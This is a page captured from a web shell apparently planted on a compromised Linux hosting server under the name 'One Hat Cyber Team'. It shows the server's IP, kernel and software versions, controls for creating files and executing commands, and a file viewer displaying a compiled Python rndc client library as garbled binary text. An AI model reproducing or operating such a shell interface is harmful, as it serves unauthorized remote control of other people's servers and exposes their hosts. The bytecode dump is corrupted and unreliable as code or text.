⚝
One Hat Cyber Team
⚝
Your IP:
52.15.120.29
Server IP:
97.74.87.16
Server:
Linux 16.87.74.97.host.secureserver.net 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
Server Software:
Apache
PHP Version:
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3.9
/
site-packages
/
isc
/
__pycache__
/
View File Name :
rndc.cpython-39.opt-1.pyc
a &�"h+ � @ sX d dl mZ d dlZd dlZd dlZd dlZd dlZd dlZd dlZG dd� de �Z dS )� )�OrderedDictNc @ sl e Zd ZdZddddddd�Zd d � Zdd� Zddd�Zdd� Zdd� Z dd� Z dd� Zdd� Zdd� Z dS )�rndczRNDC protocol client library� � � � � � )�md5Zsha1Zsha224Zsha256Zsha384Zsha512c C sb || _ |�� }|�d�r$|dd� }|| _tt|�| _t�|�| _ t �dd�| _d| _ | �� dS )z�Creates a persistent connection to RNDC and logs in host - (ip, port) tuple algo - HMAC algorithm: one of md5, sha1, sha224, sha256, sha384, sha512 (with optional prefix 'hmac-') secret - HMAC secret, base64 encodedzhmac-� Nr i )�host�lower� startswith�algo�getattr�hashlib�hlalgo�base64� b64decode�secret�randomZrandint�ser�nonce�_rndc__connect_login)�selfr r r � r �,/usr/lib/python3.9/site-packages/isc/rndc.py�__init__$ s z rndc.__init__c C s t | j|d�d �S )z�Call a RNDC command, all parsing is done on the server side cmd - a complete string with a command (eg 'reload zone example.com') ��type�_data)�dict�_rndc__command)r �cmdr r r �call5 s z rndc.callFc C s t � }|�� D ]�\}}|r$|dkr$q|t�dt|��|�d� 7 }t|�tkrp|t�ddt|��|�d� 7 }qt|�tkr�|t�ddt|��| 7 }qt|�t kr�|t�ddt|��| 7 }qt|�t kr�| � |�}|t�ddt|��| 7 }qtdt|� ��q|S )N�_auth�B�asciiz>BI� � z#Cannot serialize element of type %s)� bytearray�items�struct�pack�len�encoder �str�bytesr �_rndc__serialize_dict�NotImplementedError)r �data�ignore_auth�rv�k�v�sdr r r Z__serialize_dict; s$ " �zrndc.__serialize_dictc O s0 | j d7 _ tt�� �}t|i |��}t� }t� |d<